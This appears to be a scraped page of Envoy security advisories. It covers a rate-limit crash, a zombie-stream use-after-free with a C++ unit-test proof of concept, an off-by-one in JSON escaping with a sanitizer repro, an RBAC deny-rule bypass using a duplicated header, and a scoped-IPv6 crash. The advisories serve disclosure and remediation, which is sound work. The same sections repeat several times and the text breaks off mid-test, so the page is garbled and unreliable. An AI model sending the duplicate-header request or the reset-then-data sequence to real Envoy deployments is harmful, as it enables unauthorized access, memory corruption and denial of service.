github.com/envoyproxy/envoy

Summary

At the rate limit filter, if we enabled the response phase limit with apply_on_stream_done in the rate limit configuration and the response phase limit request fails directly, it may crash Envoy.

Details

When both the request phase limit and response phase limit are enabled, the safe gRPC client instance will be re-used for both the request phase request and response phase request.

But after the request phase request is done, the inner state of the request phase limit request in gRPC client is not cleaned up. When we send the second limit request at response phase, and the second limit request fails directly, we may access the previous request's inner state and result in crash.

PoC

This need to mock the network failure. But we have reproduced by unit test locally.

Impact

This only happens when both the request phase limit and response phase limit are enabled in the rate limit filter, and requires the request to rate limit service fails directly (For example, if from Envoy's perspective, no healthy endpoint for rate limit service may result the request fails directly). That's say, not easy to trigger this.

To workaround

This could be worked around by splitting the rate limit filter. That is, if there is a rate limit filter that contains normal rate limit configuration (request phase limit, without apply_on_stream_done) and also rate limit configuration with apply_on_stream_done (response phase limit). Splitting them into two rate limit filters and ensure one filter only contains normal rate limit configuration (without apply_on_stream_done), and one only contains rate limit configuration with apply_on_stream_done could avoid this problem.

Credit

Mandar Jog (mandarjog@gmail.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

At the rate limit filter, if we enabled the response phase limit with apply_on_stream_done in the rate limit configuration and the response phase limit request fails directly, it may crash Envoy.

Details

When both the request phase limit and response phase limit are enabled, the safe gRPC client instance will be re-used for both the request phase request and response phase request.

But after the request phase request is done, the inner state of the request phase limit request in gRPC client is not cleaned up. When we send the second limit request at response phase, and the second limit request fails directly, we may access the previous request's inner state and result in crash.

PoC

This need to mock the network failure. But we have reproduced by unit test locally.

Impact

This only happens when both the request phase limit and response phase limit are enabled in the rate limit filter, and requires the request to rate limit service fails directly (For example, if from Envoy's perspective, no healthy endpoint for rate limit service may result the request fails directly). That's say, not easy to trigger this.

To workaround

This could be worked around by splitting the rate limit filter. That is, if there is a rate limit filter that contains normal rate limit configuration (request phase limit, without apply_on_stream_done) and also rate limit configuration with apply_on_stream_done (response phase limit). Splitting them into two rate limit filters and ensure one filter only contains normal rate limit configuration (without apply_on_stream_done), and one only contains rate limit configuration with apply_on_stream_done could avoid this problem.

Credit

Mandar Jog (mandarjog@gmail.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
